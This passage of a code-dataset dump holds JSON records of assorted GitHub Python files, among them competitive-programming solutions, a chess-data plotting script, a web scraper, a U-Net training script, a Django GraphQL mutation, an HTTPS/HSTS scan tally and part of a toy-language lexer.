self.widget_type\n kwargs[\"orient\"] = self.orient\n w = widget_type(parent, key, *args, command=self._on_command(key), **kwargs)\n if self.orient == tk.HORIZONTAL:\n w.pack(fill=\"x\", expand=False, side=tk.TOP, padx=(20, 0))\n elif self.orient == tk.VERTICAL:\n w.pack(fill=\"y\", expand=True, side=tk.LEFT)\n else:\n raise ValueError(f\"Bad orientation - {self.orient}\")\n self.widgets[key] = w\n return w\n","repo_name":"AndrewSpangler/py_simple_ttk","sub_path":"src/py_simple_ttk/widgets/ScaleWidgets.py","file_name":"ScaleWidgets.py","file_ext":"py","file_size_in_byte":4015,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"1"}
+{"seq_id":"27090314987","text":"N = int(input())\nA = list(map(int, input().split()))\n\nK = 10\n\nMOD = 998244353\n\ndp = [[0 for _ in range(K)] for _ in range(N)]\n\ndp[0][A[0]] = 1\n\nfor i in range(N-1):\n for k in range(K):\n dp[i+1][(k+A[i+1])%10] += dp[i][k]%MOD\n dp[i+1][(k+A[i+1])%10] %= MOD\n dp[i+1][(k*A[i+1])%10] += dp[i][k]%MOD\n dp[i+1][(k*A[i+1])%10] %= MOD\n\nfor k in range(K):\n print(dp[N-1][k]%MOD)","repo_name":"Intel-out-side/AtCoder","sub_path":"yorukatsu/20220609/03_FGoperation.py","file_name":"03_FGoperation.py","file_ext":"py","file_size_in_byte":403,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"1"}
+{"seq_id":"72582159395","text":"import pandas as pd\nimport numpy as np\n\nfrom tqdm import tqdm\nimport matplotlib\nmatplotlib.use('PDF')\nimport matplotlib.pyplot as plt\nimport seaborn as sns\n\nNITER = 4*10_000\nNTRAJ = 1000\n\npal9 = [\"#CC6677\", \"#88CCEE\", \"#332288\", \"#882255\", \"#DDCC77\",\n \"#117733\", \"#44AA99\", \"#999933\", \"#AA4499\"]\n\n\ndef f(x, cs, breakpoints):\n for i in range(len(breakpoints)):\n if x <= breakpoints[i]:\n return cs[i]\n return cs[-1]\n\n\ndef model_alphas(counts, features, fitness_values, breakpoints, betas):\n K = len(counts)\n freqs = counts/np.sum(counts)\n\n alphas = np.zeros(K)\n\n for k in range(K):\n alphas[k] = 1 + np.exp(np.dot(features[k, :], betas[k, :])) * \\\n f(freqs[k], fitness_values[k, :], breakpoints[k, :]) * counts[k]\n\n return alphas\n\n\ndef counterfact_counts(K, moves, features, fitness_values, breakpoints, betas, steps=50, N=100000):\n seq = np.arange(0, 1, 1/steps)\n result = pd.DataFrame(data={\"freq\": seq})\n\n for k in range(K):\n probs = np.zeros(steps)\n\n for i, x in enumerate(seq):\n focal_count = N*x\n rest_count = (N - focal_count)/(K-1)\n counts = np.ones(K)*rest_count\n counts[k] = focal_count\n alphas = model_alphas(\n counts, features, fitness_values, breakpoints, betas)\n\n ps = np.random.dirichlet(alphas)\n\n probs[i] = ps[k] - x\n\n result[moves[k]] = probs\n\n return result\n\n\nstrategies = [\"queens_pawn_ply_2\",\n \"carokann_ply_5\", \"sicilian_najdorf_ply_11\"]\nstrategy_clean_names = {\n 'queens_pawn_ply_2': 'Queens Pawn, ply 2',\n 'carokann_ply_5': 'Caro-Kann, ply 5',\n 'sicilian_najdorf_ply_11': 'Najdorf Sicilian, ply 11'\n}\nKs = [7, 6, 10]\n\ncurves = {}\n\nfor strategy, K in zip(strategies, Ks):\n # betas are not used at all here\n beta_medians = pd.read_csv(\n f'../model/model_results/{strategy}/mcmc_intervals_beta.csv')\n beta_medians = beta_medians[['m']].values.reshape((K, 3), order='F')\n\n fitness_draw_df = pd.read_csv(\n f'../model/model_fits/{strategy}/fit.csv')\n fitness_draws = np.zeros((K, 4, NITER))\n for k in range(K):\n for i in range(4):\n fitness_draws[k, i, :] = \\\n fitness_draw_df[f'fitness_values[{k+1},{i+1}]'].values\n\n fitness_medians = pd.read_csv(\n f'../model/model_results/{strategy}/mcmc_intervals_fitness.csv')\n fitness_medians = fitness_medians[['m']]\\\n .values.reshape((K, 4), order='F')\n\n breakpoints = pd.read_csv(\n f'../model/model_fits/{strategy}/frequency_quantiles_by_strategy.csv')\n moves = breakpoints.iloc[:, 0].values\n breakpoints = breakpoints.iloc[:, 2:].values\n\n features = np.zeros((K, 3))\n\n ds = []\n\n for i in tqdm(range(NTRAJ), desc=strategy, total=NTRAJ):\n j = np.random.randint(NITER)\n fitness_samp = fitness_draws[:, :, j]\n\n dd = counterfact_counts(K, moves, features, fitness_samp, breakpoints, beta_medians)\\\n .melt(id_vars=['freq'], var_name='move', value_name='prob')\n\n dd.rep = i\n\n ds.append(dd)\n\n d = pd.concat(ds)\n d = d.query('move != \"other\"')\n\n curves[strategy] = d\n\nfig, ax = plt.subplots(1, 3, figsize=(\n 14, 4), constrained_layout=True)\n\nfor i, strategy in enumerate(strategies):\n sns.lineplot(x='freq', y='prob', hue='move',\n data=curves[strategy], errorbar=('ci', 98), ax=ax[i], alpha=0.66, palette=pal9)\n ax[i].set_xlabel('Move frequency ($x^i_t/N_t$)')\n ax[i].set_ylabel('Deviation from random choice ($p^i_t - x^i_t/N_t$)')\n ax[i].xaxis.label.set_fontsize(11)\n ax[i].yaxis.label.set_fontsize(11)\n\n ax[i].set_xlim(0, 1)\n # legend top right, outsize plot\n ax[i].legend(bbox_to_anchor=(1.05, 1), loc=2, borderaxespad=0.)\n # horizontal line at 0\n ax[i].axhline(y=0, color='k', linestyle='--')\n\n ax[i].text(0.5, 1.05, strategy_clean_names[strategy], fontweight='bold',\n transform=ax[i].transAxes, size='large', ha='center', va='baseline')\n ax[i].text(-0.05, 1.05, chr(ord('@') + i + 1), transform=ax[i].transAxes,\n size='large', fontweight='bold', va='baseline', ha='center')\n\nfig.savefig('../figures/figure_7.pdf', bbox_inches='tight')\n","repo_name":"EgorLappo/cultural_transmission_in_chess","sub_path":"make_figures/figure_7.py","file_name":"figure_7.py","file_ext":"py","file_size_in_byte":4248,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"1"}
+{"seq_id":"9182495311","text":"import os\r\nimport json\r\n\r\ndef Standardize():\r\n files = os.listdir(os.getcwd())\r\n for file in files:\r\n extractname = file.rstrip('.json')\r\n DATE = extractname.split('-')\r\n #print(DATE)\r\n if len(DATE[1]) == 1:\r\n DATE[1]='0'+DATE[1]\r\n newname = '-'.join(DATE)+'.json'\r\n print('RENAMED:{} TO {}'.format(file,newname))\r\n #os.rename(file,newname)\r\n\r\ndef CheckAndSort():\r\n to_remove = []\r\n files = os.listdir(os.getcwd())\r\n for file in files:\r\n NAME = file.split('.')\r\n print(NAME)\r\n if NAME[1] != 'json':\r\n to_remove.append(file)\r\n\r\n for not_json in to_remove:\r\n files.remove(not_json)\r\n print(\"REMOVED: \", not_json)\r\n \r\n return files\r\n \r\n#CheckAndSort()\r\ninterests = [\"Atomic\",\"Nuclear\"]\r\nMATCHES = []\r\ncounter = 0\r\n#fake = ['2022-04.json']\r\n#for JSON in fake:\r\nfor JSON in CheckAndSort():\r\n with open(JSON, encoding='utf-8') as f:\r\n print(\"Starting search on {}\".format(JSON))\r\n data = json.load(f)\r\n if len(data[\"response\"][\"docs\"]) == 0:\r\n continue\r\n for article in data[\"response\"][\"docs\"]:\r\n counter+=1\r\n abstract = article[\"abstract\"]\r\n headline = article[\"headline\"][\"main\"]\r\n keywords = []\r\n date = article[\"pub_date\"]\r\n match_flag = False\r\n for key in article[\"keywords\"]:\r\n keywords.append(key[\"value\"])\r\n for interest in interests:\r\n if interest in key[\"value\"]:\r\n match_flag = True\r\n if match_flag:\r\n populate = {\"date\":date,\"headline\":headline,\"abstract\":abstract,\"keywords\":keywords}\r\n MATCHES.append(populate)\r\n \r\nprint(\"Total articles:{}, Matching interesting keywords:{}\".format(counter,len(MATCHES)))\r\nSAVEME = {\"searched\":interests,\"total_articles\":counter,\"number_matched\":len(MATCHES),\"matches\":MATCHES}\r\nwith open('Matches.json','w',encoding='utf-8') as s:\r\n json.dump(SAVEME, s, ensure_ascii=False, indent=4)\r\n s.close()\r\n","repo_name":"Covac/Nuclear-Scare","sub_path":"Archives/FileSortLoader.py","file_name":"FileSortLoader.py","file_ext":"py","file_size_in_byte":2138,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"1"}
+{"seq_id":"8073908741","text":"#############################################################################\n\"\"\"\nThis program scrapes the travel strong website for all the exercises \nand returns the information as a dictionary.\n\"\"\"\n#############################################################################\n\nfrom urllib.request import urlopen as uReq\nfrom bs4 import BeautifulSoup as soup\n\n# Beautiful Soup Documentation taken from \n# https://www.crummy.com/software/BeautifulSoup/bs4/doc/#searching-by-css-class\n\n# url Request taken from\n# https://docs.python.org/3/library/urllib.request.html\n\ndef getWorkoutData():\n # Receives the 100 workout exercises from this website\n url = \"https://travelstrong.net/bodyweight-exercises/#plyos\"\n # Opening connection\n uClient = uReq(url, data = None)\n page_html = uClient.read()\n uClient.close()\n page_soup = soup(page_html,\"html.parser\")\n items = page_soup.findAll(\"div\", {\"class\": \"entry-content\"})[0]\n categories = items.findAll(\"p\")\n return categories\n\ndef cleanUpText(text):\n # Returns a cleaned up string without the \"\\xa0\" values from web scraping\n return \" \".join(text.split(\"\\xa0\"))\n\ndef convertHTMLToDictionary(key = None):\n # Converts the html code into a Python dictionary\n data = getWorkoutData()\n exerciseCategoryDict = dict()\n for i in range(len(data)-1):\n exerciseName = data[i].text\n exerciseName = cleanUpText(exerciseName)\n exerciseDescriptions = data[i+1].text\n exerciseDescriptions = cleanUpText(exerciseDescriptions)\n topic = (data[i].find(\"a\",id=True))\n if topic != None:\n key = topic['id']\n exerciseCategoryDict[key] = dict()\n if exerciseName != \"\":\n if exerciseName[0].isdigit():\n link = (data[i].find(\"a\", href = True))['href']\n exerciseCategoryDict[key][exerciseName] = [exerciseDescriptions,link]\n return exerciseCategoryDict","repo_name":"dyou3968/homeWorkoutProgram","sub_path":"exercisesDict.py","file_name":"exercisesDict.py","file_ext":"py","file_size_in_byte":1929,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"1"}
+{"seq_id":"14245973949","text":"# -*- coding: utf-8 -*-\n\nfrom pathlib import Path\n\n\nfrom AxonDeepSeg.network_construction import *\nfrom AxonDeepSeg.data_management.input_data import *\nfrom AxonDeepSeg.ads_utils import convert_path\nfrom AxonDeepSeg.config_tools import generate_config\nimport AxonDeepSeg.ads_utils\n\nimport keras\n\nfrom keras.models import *\nfrom keras.preprocessing.image import ImageDataGenerator\nfrom keras.callbacks import *\n\n# Keras import\nfrom keras.losses import categorical_crossentropy\nimport keras.backend.tensorflow_backend as K\n\n\nK.set_session\nimport tensorflow as tf\n\n\ndef train_model(path_trainingset, path_model, config, path_model_init=None,\n save_trainable=True, gpu=None, debug_mode=False, gpu_per=1.0):\n \"\"\"\n Main function. Trains a model using the configuration parameters.\n :param path_trainingset: Path to access the trainingset.\n :param path_model: Path indicating where to save the model.\n :param config: Dict, containing the configuration parameters of the network.\n :param path_model_init: Path to where the model to use for initialization is stored.\n :param save_trainable: Boolean. If True, only saves in the model variables that are trainable (evolve from gradient)\n :param gpu: String, name of the gpu to use. Prefer use of CUDA_VISIBLE_DEVICES environment variable.\n :param debug_mode: Boolean. If activated, saves more information about the distributions of\n most trainable variables, and also outputs more information.\n :param gpu_per: Float, between 0 and 1. Percentage of GPU to use.\n :return: Nothing.\n \"\"\"\n\n # If string, convert to Path objects\n path_trainingset = convert_path(path_trainingset)\n path_model = convert_path(path_model)\n\n ###################################################################################################################\n ############################################## VARIABLES INITIALIZATION ###########################################\n ###################################################################################################################\n\n\n\n # Results and Models\n if not path_model.exists():\n path_model.mkdir(parents=True)\n\n # Translating useful variables from the config file.\n learning_rate = config[\"learning_rate\"]\n batch_size = config[\"batch_size\"]\n epochs = config[\"epochs\"]\n image_size = config[\"trainingset_patchsize\"]\n thresh_indices = config[\"thresholds\"]\n\n\n # Training and Validation Path\n path_training_set = path_trainingset / \"Train\"\n path_validation_set = path_trainingset / \"Validation\"\n\n\n # List of Training Ids\n no_train_images = int(len(os.listdir(path_training_set)) / 2)\n train_ids = [str(i) for i in range(no_train_images)]\n\n # List of Validation Ids\n no_valid_images = int(len(os.listdir(path_validation_set)) / 2)\n valid_ids = [str(i) for i in range(no_valid_images)]\n\n # Loading the Training images and masks in batch\n train_gen = DataGen(train_ids, path_training_set, batch_size=no_train_images, image_size=image_size,\n thresh_indices=thresh_indices)\n image_train_gen, mask_train_gen = train_gen.__getitem__(0)\n\n # Loading the Validation images and masks in batch\n valid_gen = DataGen(valid_ids, path_validation_set, batch_size=no_valid_images, image_size=image_size,\n thresh_indices=thresh_indices)\n image_valid_gen, mask_valid_gen = valid_gen.__getitem__(0)\n\n ###################################################################################################################\n ############################################# DATA AUGMENTATION ##################################################\n ###################################################################################################################\n\n # Data dictionary to feed into image generator\n data_gen_args = dict(horizontal_flip=True,\n # flipping()[1],\n vertical_flip=True,\n # preprocessing_function = elastic\n # flipping()[0],\n # rotation_range = random_rotation()[0],\n # width_shift_range = shifting(patch_size, n_classes)[1],\n # height_shift_range = shifting(patch_size, n_classes) [0],\n # fill_mode = \"constant\",\n # cval = 0\n )\n\n #####################Training###################\n image_datagen = ImageDataGenerator(**data_gen_args)\n mask_datagen = ImageDataGenerator(**data_gen_args)\n\n seed = 2018\n\n # Image and Mask Data Generator\n image_generator_train = image_datagen.flow(image_train_gen, y=None, seed = seed, batch_size=batch_size, shuffle=True)\n mask_generator_train = mask_datagen.flow(mask_train_gen, y=None, seed = seed, batch_size=batch_size, shuffle=True)\n\n # Just zip the two generators to get a generator that provides augmented images and masks at the same time\n train_generator = zip(image_generator_train, mask_generator_train)\n\n ###########################Validation###########\n data_gen_args = dict()\n image_datagen = ImageDataGenerator(**data_gen_args)\n mask_datagen = ImageDataGenerator(**data_gen_args)\n\n\n image_generator_valid = image_datagen.flow(x=image_valid_gen, y=None, batch_size=batch_size, seed = seed, shuffle=False)\n mask_generator_valid = mask_datagen.flow(x=mask_valid_gen, y=None, batch_size=batch_size, seed = seed, shuffle=False)\n\n # Just zip the two generators to get a generator that provides augmented images and masks at the same time\n valid_generator = zip(image_generator_valid, mask_generator_valid)\n\n ########################### Initalizing U-Net Model ###########\n model = uconv_net(config, bn_updated_decay=None, verbose=True)\n\n ########################### Tensorboard for Visualization ###########\n # Name = \"SEM_3c_dataset-{}\".format(time.strftime(\"%Y-%m-%d %H:%M:%S\", time.gmtime()))\n tensorboard = TensorBoard(log_dir=str(path_model))\n\n ########################## Training Unet Model ###########\n\n # Adam Optimizer for Unet\n adam = keras.optimizers.Adam(lr=learning_rate, beta_1=0.9, beta_2=0.999, epsilon=1e-08, decay=0.0)\n\n # Compile the model with Categorical Cross Entropy loss and Adam Optimizer\n model.compile(optimizer=adam, loss=\"categorical_crossentropy\",\n metrics=[\"accuracy\", dice_axon, dice_myelin])\n\n train_steps = len(train_ids) // batch_size\n valid_steps = len(valid_ids) // batch_size\n\n ########################## Use Checkpoints to save best Acuuracy and Loss ###########\n\n # Save the checkpoint in the /models/path_model folder\n filepath_acc = str(path_model) + \"/best_acc_model.ckpt\"\n\n # Keep only a single checkpoint, the best over test accuracy.\n checkpoint_acc = ModelCheckpoint(filepath_acc,\n monitor='val_acc',\n verbose=0,\n save_best_only=True,\n mode='max', period = 5)\n\n # Save the checkpoint in the /models/path_model folder\n filepath_loss = str(path_model) + \"/best_loss_model.ckpt\"\n\n\n # Keep only a single checkpoint, the best over test loss.\n checkpoint_loss = ModelCheckpoint(filepath_loss,\n monitor='val_loss',\n verbose=0,\n save_best_only=True,\n mode='min', period = 5)\n\n\n\n ########################## Use Checkpoints to save best Acuuracy and Loss ###########\n model.fit_generator(train_generator, validation_data=(valid_generator), steps_per_epoch=train_steps,\n validation_steps=valid_steps,\n epochs=epochs, callbacks=[tensorboard, checkpoint_loss, checkpoint_acc])\n\n ########################## Save the model after Training ###########\n\n model.save(str(path_model) + '/model.hdf5')\n\n\n # Add ops to save and restore all the variables.\n saver = tf.train.Saver()\n\n # Save Model in ckpt format\n custom_objects = {'dice_axon': dice_axon, 'dice_myelin': dice_myelin}\n model = load_model(str(path_model) + \"/model.hdf5\", custom_objects=custom_objects)\n\n sess = K.get_session()\n # Save the model to be used by TF framework\n save_path = saver.save(sess, str(path_model) + \"/model.ckpt\")\n\n\n\n# Defining the Loss and Performance Metrics\n\ndef dice_myelin(y_true, y_pred, smooth=1e-3):\n \"\"\"\n Computes the pixel-wise dice myelin coefficient from the prediction tensor outputted by the network.\n :param y_pred: Tensor, the prediction outputted by the network. Shape (N,H,W,C).\n :param y_true: Tensor, the gold standard we work with. Shape (N,H,W,C).\n :return: dice myelin coefficient for the current batch.\n \"\"\"\n\n y_true_f = K.flatten(y_true[..., 1])\n y_pred_f = K.flatten(y_pred[..., 1])\n intersection = K.sum(y_true_f * y_pred_f)\n return K.mean((2. * intersection + smooth) / (K.sum(y_true_f) + K.sum(y_pred_f) + smooth))\n\n\ndef dice_axon(y_true, y_pred, smooth=1e-3):\n \"\"\"\n Computes the pixel-wise dice myelin coefficient from the prediction tensor outputted by the network.\n :param y_pred: Tensor, the prediction outputed by the network. Shape (N,H,W,C).\n :param y_true: Tensor, the gold standard we work with. Shape (N,H,W,C).\n :return: dice axon coefficient for the current batch.\n \"\"\"\n\n y_true_f = K.flatten(y_true[..., 2])\n y_pred_f = K.flatten(y_pred[..., 2])\n intersection = K.sum(y_true_f * y_pred_f)\n return K.mean((2. * intersection + smooth) / (K.sum(y_true_f) + K.sum(y_pred_f) + smooth))\n\n\n\n# To Call the training in the terminal\n\ndef main():\n import argparse\n ap = argparse.ArgumentParser()\n ap.add_argument(\"-p\", \"--path_training\", required=True, help=\"\")\n ap.add_argument(\"-m\", \"--path_model\", required=True, help=\"\")\n ap.add_argument(\"-co\", \"--config_file\", required=False, help=\"\", default=\"~/.axondeepseg.json\")\n ap.add_argument(\"-m_init\", \"--path_model_init\", required=False, help=\"\")\n ap.add_argument(\"-gpu\", \"--GPU\", required=False, help=\"\")\n\n args = vars(ap.parse_args())\n path_training = Path(args[\"path_training\"])\n path_model = Path(args[\"path_model\"])\n path_model_init = Path(args[\"path_model_init\"])\n config_file = args[\"config_file\"]\n gpu = args[\"GPU\"]\n\n config = generate_config(config_file)\n\n train_model(path_training, path_model, config, path_model_init, gpu=gpu)\n\n\nif __name__ == '__main__':\n main()\n\n","repo_name":"sophie685/newfileplzworklord","sub_path":"AxonDeepSeg/train_network.py","file_name":"train_network.py","file_ext":"py","file_size_in_byte":10639,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"1"}
+{"seq_id":"13354169005","text":"\"\"\"\n This is the custom function interface.\n You should not implement it, or speculate about its implementation\n class CustomFunction:\n # Returns f(x, y) for any given positive integers x and y.\n # Note that f(x, y) is increasing with respect to both x and y.\n # i.e. f(x, y) < f(x + 1, y), f(x, y) < f(x, y + 1)\n def f(self, x, y):\n \n\"\"\"\n\nclass Solution:\n \"\"\" Two pointers version \"\"\"\n def findSolution(self, customfunction: 'CustomFunction', z: int) -> List[List[int]]:\n left = 1\n right = 1000\n outPut = []\n \n while left <= 1000 and right > 0:\n res = customfunction.f(left, right)\n \n if res < z:\n left += 1\n elif res > z:\n right -= 1\n else:\n outPut.append([left, right])\n left += 1\n right -= 1\n \n return outPut\n \n\nclass Solution:\n \"\"\" Binaery search version \"\"\"\n def findSolution(self, customfunction: 'CustomFunction', z: int) -> List[List[int]]:\n \n outPut = []\n \n for start in range(1, 1001):\n left = 1\n right = 1000\n while left <= right:\n mid = (left+right)//2\n res = customfunction.f(start, mid)\n \n if res < z:\n left = mid + 1\n elif res > z:\n right = mid - 1\n else:\n outPut.append([start, mid])\n break\n \n return outPut \n","repo_name":"Biruk-Tassew/Competitive_programming","sub_path":"1237_Find_Positive_Integer_Solution_for_a_Given_Equation/1237_Find_Positive_Integer_Solution_for_a_Given_Equation.py","file_name":"1237_Find_Positive_Integer_Solution_for_a_Given_Equation.py","file_ext":"py","file_size_in_byte":1608,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"1"}
+{"seq_id":"10081614361","text":"import os\r\n\r\nimgline=[]\r\nmaskline=[]\r\nwith open('./baidu/img_paths_txt/total_img.txt', 'r', encoding='utf8') as f:\r\n linea = f.readlines() # baidu/河南省/平顶山市/mask/4458.png\r\nfor img in linea:\r\n imgline.append(img.strip())\r\n\r\n# ROOT=line\r\nwith open('./baidu/img_paths_txt/total_mask.txt', 'r', encoding='utf8') as f:\r\n lineb = f.readlines()\r\nfor img in lineb:\r\n maskline.append(img.strip())\r\nnumberlist=[]\r\nfor i in range(2425,2565):\r\n numberlist.append(str(i))\r\nprint(numberlist)\r\nfor i in imgline:\r\n if i[-8:-4] not in numberlist:\r\n with open('./baidu/img_paths_txt/1.txt', 'a', encoding='utf8') as f:\r\n f.write(i+'\\n')\r\n# imgline.remove()\r\nfor i in maskline:\r\n if i[-8:-4] not in numberlist:\r\n print(i+'\\n')\r\n with open('./baidu/img_paths_txt/2.txt', 'a', encoding='utf8') as f:\r\n f.write(i+'\\n')","repo_name":"choiszt/spade_dlinknet","sub_path":"删除空白数据.py","file_name":"删除空白数据.py","file_ext":"py","file_size_in_byte":874,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"1"}
+{"seq_id":"6378705711","text":"from django.db.models import Q\nimport graphene\nfrom core import models, serializer\nfrom ...ModelsGraphQL import typeobject, inputtype\nfrom ...Auth.permission import checkPermission\nfrom rest_framework import status as status_code\nfrom ... import QueryStructure\nfrom notification.notification import Notification\n\n\nclass AcceptFriend(graphene.Mutation, QueryStructure.Attributes):\n data = graphene.Field(typeobject.FriendObjectType)\n\n class Arguments:\n data = inputtype.AddRequestFriendInput()\n\n @classmethod\n def mutate(self, root, info, **kwargs):\n try:\n user = info.context.META[\"user\"]\n if not checkPermission(\"core.change_friend\", user):\n return QueryStructure.NoPermission(self)\n\n reciver = models.Player.objects.filter(\n pk=kwargs['data']['player_pk'])\n sender = models.Player.objects.filter(user_id=user)\n\n if not reciver.exists() or sender.filter(pk=kwargs['data']['player_pk']).exists():\n return QueryStructure.BadRequest(self, message='maybe player not found !')\n requqest_obj = models.Friend.objects.filter(\n ((Q(player1=sender.get())) & (Q(player2=reciver.get()))) |\n ((Q(player2=sender.get())) & (Q(player1=reciver.get()))))\n if requqest_obj.exists():\n return AcceptFriend.__accept_request(self, sender.get(), requqest_obj)\n return QueryStructure.InternalServerError(self)\n except Exception as e:\n print('Error in AcceptFriend :')\n print(e)\n return QueryStructure.InternalServerError(self, message=str(e))\n\n def __accept_request(self, sender: models.Player, request: models.Friend.objects.filter):\n try:\n print('old')\n if request.count() == 2 and not request.first().sender == sender and request.first().state == 'pending':\n request.update(state='accepted')\n self.__send_notif(self, request)\n return QueryStructure.OK(self, data=request.first())\n return QueryStructure.BadRequest(self)\n except Exception as e:\n print('Error in __accept_request')\n print(e)\n return QueryStructure.InternalServerError(self, message=str(e))\n\n def __send_notif(self, request: models.Friend.objects.filter):\n try:\n print('__send_notif')\n sender = request.first().sender\n reciver = request.first().player2\n if sender == request.first().player2:\n reciver = request.first().player1\n Notification.add(sender=sender.user_id.pk, reciver=reciver.user_id.pk,\n message=f'{sender.user_id.first_name} {sender.user_id.last_name} has Accepted your request friend !', sender_kind='user', type='accept friend')\n\n except Exception as e:\n print('Error in AcceptFriend.__send_notif')\n print(str(e))\n","repo_name":"AbdElwahap-Bakdones/main_project","sub_path":"Graphql/Mutation/FriendMutat/acceptFriend.py","file_name":"acceptFriend.py","file_ext":"py","file_size_in_byte":2983,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"1"}
+{"seq_id":"70749961635","text":"#!/usr/bin/env python\n\nimport json\n\ninput = \"all.json\"\nhttp_output = \"http.csv\"\nerror_output = \"errors.csv\"\n\nHASHMARK=50\n\nprint(\"Reading {}..\".format(input))\nif HASHMARK>0:\n print(\"Each dot represents {} lines processed:\".format(HASHMARK))\n\nhttp = {}\nhttps = []\nhsts = []\nerrors = []\n\ni = 0\n\nwith open(input, 'r') as f:\n for line in f:\n i += 1\n if i % HASHMARK == 0:\n print(\".\", end='', flush=True)\n j = json.loads(line)\n\n host = j['domain']\n ip = j['ip']\n\n if j.get('error'):\n errors.append(host)\n continue\n\n terminal_scheme = j['data']['http']['response']['request']['url']['scheme']\n\n if terminal_scheme == \"https\":\n https.append(host)\n # also check hsts\n headers = j['data']['http']['response'].get('headers')\n if headers and headers.get('strict_transport_security'):\n hsts.append(host)\n else:\n http[host] = ip\nprint(\"Done reading file.\")\n\nwith open(http_output, 'w') as out:\n for h in http:\n out.write(\"{},{}\\n\".format(http[h], h))\n\ntotal = len(https) + len(http)\nprint(\"Of the {} total hosts we could connect to on TCP 80, {} ({}%) redirected to HTTPS while {} ({}%) did not.\".format(\n total, len(https), round(len(https)/total*100,2), len(http), round(len(http)/total*100,2)\n))\n\nprint(\"Of the {} hosts loaded over HTTPS, {} ({}%) sent HSTS headers\".format(\n len(https), len(hsts), round(len(hsts)/len(https)*100,2)\n))\npass\n","repo_name":"prdonahuedotcom/blog-https-scan","sub_path":"analyze.py","file_name":"analyze.py","file_ext":"py","file_size_in_byte":1518,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"1"}
+{"seq_id":"9318657730","text":"from programming_language.error_handler.error import IllegalCharacterError\nfrom programming_language.error_handler.error import IllegalVariableDeclarationError\nfrom programming_language.error_handler.error import InvalidSyntaxError\nfrom programming_language.error_handler.position import Position\nfrom programming_language.lexical.token import Token\nfrom programming_language.semantics.number import Number\nfrom programming_language.semantics.string import String\n\nclass Lexer:\n\n def __init__(self, text):\n self.text = text\n self.pos = Position(-1, 0, text)\n self.current_char = None\n self.advance()\n\n def advance(self):\n self.pos.advance(self.current_char)\n self.current_char = self.text[self.pos.index] if self.pos.index < len(self.text) else None\n \n def make_tokens(self):\n tokens = []\n\n while self.current_char != None:\n if self.current_char in ' \\t':\n self.advance()\n elif self.current_char == '*':\n length = len(tokens)-1\n if length > 0 and tokens[length].type != Token.NEWLINE:\n tokens.append(Token(Token.MUL, pos_start=self.pos))\n self.advance()\n else:\n tokens.append(self.skip_comment())\n elif self.current_char == ';':\n tokens.append(Token(Token.NEWLINE, pos_start=self.pos))\n self.advance()\n elif self.current_char in Token.DIGITS:\n tokens.append(self.make_number())\n elif self.current_char in Token.LETTERS:\n pos_start = self.pos.copy()\n tokens.append(self.make_keywords())\n tokens, error = self.set_default_values(tokens)\n if error:\n return tokens, IllegalVariableDeclarationError(pos_start, \"'\" + error + \"'\")\n elif self.current_char in '\"\\'':\n token, error = self.make_string()\n if error:\n return tokens, InvalidSyntaxError(pos_start, \"\" + error + \"\")\n tokens.append(token) \n elif self.current_char == '+':\n tokens.append(Token(Token.PLUS, pos_start=self.pos))\n self.advance()\n elif self.current_char == '-':\n tokens.append(Token(Token.MINUS, pos_start=self.pos))\n self.advance()\n elif self.current_char == '/':\n tokens.append(Token(Token.DIV, pos_start=self.pos))\n self.advance()\n elif self.current_char == '%':\n tokens.append(Token(Token.MOD, pos_start=self.pos))\n self.advance()\n elif self.current_char == '(':\n tokens.append(Token(Token.LPAREN, pos_start=self.pos))\n self.advance()\n elif self.current_char == ')':\n tokens.append(Token(Token.RPAREN, pos_start=self.pos))\n self.advance()\n elif self.current_char == '=':\n tokens.append(self.make_equals())\n elif self.current_char == '<':\n tokens.append(self.make_less_than_or_not_equals())\n elif self.current_char == '>':\n tokens.append(self.make_greater_than())\n elif self.current_char == '&':\n tokens.append(Token(Token.CONCAT, pos_start=self.pos))\n self.advance()\n elif self.current_char == ':':\n tokens.append(Token(Token.COLON, pos_start=self.pos))\n self.advance()\n elif self.current_char == ',':\n tokens.append(Token(Token.COMMA, pos_start=self.pos))\n self.advance()\n else:\n pos_start = self.pos.copy()\n char = self.current_char\n self.advance()\n return [], IllegalCharacterError(pos_start, \"'\" + char + \"'\")\n\n tokens.append(Token(Token.EOL, pos_start=self.pos))\n return tokens, None\n\n def make_number(self):\n num_str = ''\n dot_count = 0\n pos_start = self.pos.copy()\n\n while self.current_char != None and self.current_char in Token.DIGITS + '.':\n if self.current_char == '.':\n if dot_count == 1: break\n dot_count += 1\n num_str += self.current_char\n self.advance()\n\n if dot_count == 0:\n return Token(Token.INT, int(num_str), pos_start)\n else:\n return Token(Token.FLOAT, float(num_str), pos_start)\n \n def make_string(self):\n string = ''\n pos_start = self.pos.copy()\n escape_character = False\n self.advance()\n\n escape_characters = {\n 'n': '\\n',\n 't': '\\t',\n 'r': '\\r'\n }\n\n has_left_square_bracket = False\n has_right_square_bracket = False\n\n while self.current_char != None and (self.current_char not in '\"\\'' or escape_character):\n if escape_character:\n string += escape_characters.get(self.current_char, self.current_char)\n else:\n if self.current_char == '\\\\':\n escape_character = True\n else:\n if self.current_char == \"[\" and not has_left_square_bracket:\n has_left_square_bracket = True\n elif self.current_char == \"]\" and not has_right_square_bracket:\n has_right_square_bracket = True\n elif self.current_char == \"#\" and not has_left_square_bracket and not has_right_square_bracket:\n string += '\\n'\n else:\n string += self.current_char\n self.advance()\n escape_character = False\n\n if has_left_square_bracket and not has_right_square_bracket:\n return None, \"Expected ']'\"\n\n self.advance()\n if string in Token.BOOL_VALUES:\n return Token(Token.BOOL, string, pos_start), None\n else:\n return Token(Token.CHAR, string, pos_start), None\n \n def make_keywords(self):\n id_str = ''\n pos_start = self.pos.copy()\n\n while self.current_char != None and self.current_char in Token.LETTERS_DIGITS + '_':\n id_str += self.current_char\n self.advance()\n\n if id_str in Token.KEYWORDS:\n token_type = 